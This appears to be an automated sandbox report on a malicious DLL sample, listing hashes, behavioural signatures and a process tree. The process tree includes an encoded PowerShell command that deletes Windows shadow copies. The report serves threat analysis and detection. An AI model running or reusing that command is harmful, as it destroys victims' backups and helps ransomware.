Analysis
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max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:46
Static task
static1
Behavioral task
behavioral1
Sample
e9de2aece957ca9ae2ec4c100f80b8788f907758556e01a824fe4542d68899e9.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
e9de2aece957ca9ae2ec4c100f80b8788f907758556e01a824fe4542d68899e9.dll
Resource
win10-en-20211208
General
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Target
e9de2aece957ca9ae2ec4c100f80b8788f907758556e01a824fe4542d68899e9.dll
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Size
115KB
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MD5
a21d2ba7198846c24841afc8905b1b76
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SHA1
73baeed787cd2147ed401b419b3f02d00c62b9fa
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SHA256
e9de2aece957ca9ae2ec4c100f80b8788f907758556e01a824fe4542d68899e9
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SHA512
9f9ccd87cc822aa8b0a435ed4abdd418a1aa3dbc9307e36b5235965a2cc1102bae2ea27471b30840606c823402de0c41ce104111065c23980b9e1835261ab39c
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\X: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1548 rundll32.exe 268 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1548 rundll32.exe Token: SeDebugPrivilege 268 powershell.exe Token: SeBackupPrivilege 1500 vssvc.exe Token: SeRestorePrivilege 1500 vssvc.exe Token: SeAuditPrivilege 1500 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 836 wrote to memory of 1548 836 rundll32.exe rundll32.exe PID 836 wrote to memory of 1548 836 rundll32.exe rundll32.exe PID 836 wrote to memory of 1548 836 rundll32.exe rundll32.exe PID 836 wrote to memory of 1548 836 rundll32.exe rundll32.exe PID 836 wrote to memory of 1548 836 rundll32.exe rundll32.exe PID 836 wrote to memory of 1548 836 rundll32.exe rundll32.exe PID 836 wrote to memory of 1548 836 rundll32.exe rundll32.exe PID 1548 wrote to memory of 268 1548 rundll32.exe powershell.exe PID 1548 wrote to memory of 268 1548 rundll32.exe powershell.exe PID 1548 wrote to memory of 268 1548 rundll32.exe powershell.exe PID 1548 wrote to memory of 268 1548 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e9de2aece957ca9ae2ec4c100f80b8788f907758556e01a824fe4542d68899e9.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e9de2aece957ca9ae2ec4c100f80b8788f907758556e01a824fe4542d68899e9.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:268
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1560
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1500
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/268-56-0x000007FEFC401000-0x000007FEFC403000-memory.dmpFilesize
8KB
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memory/268-58-0x0000000002380000-0x0000000002382000-memory.dmpFilesize
8KB
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memory/268-59-0x0000000002382000-0x0000000002384000-memory.dmpFilesize
8KB
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memory/268-60-0x0000000002384000-0x0000000002387000-memory.dmpFilesize
12KB
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memory/268-57-0x000007FEF34E0000-0x000007FEF403D000-memory.dmpFilesize
11.4MB
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memory/268-61-0x000000000238B000-0x00000000023AA000-memory.dmpFilesize
124KB
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memory/1548-55-0x0000000076641000-0x0000000076643000-memory.dmpFilesize
8KB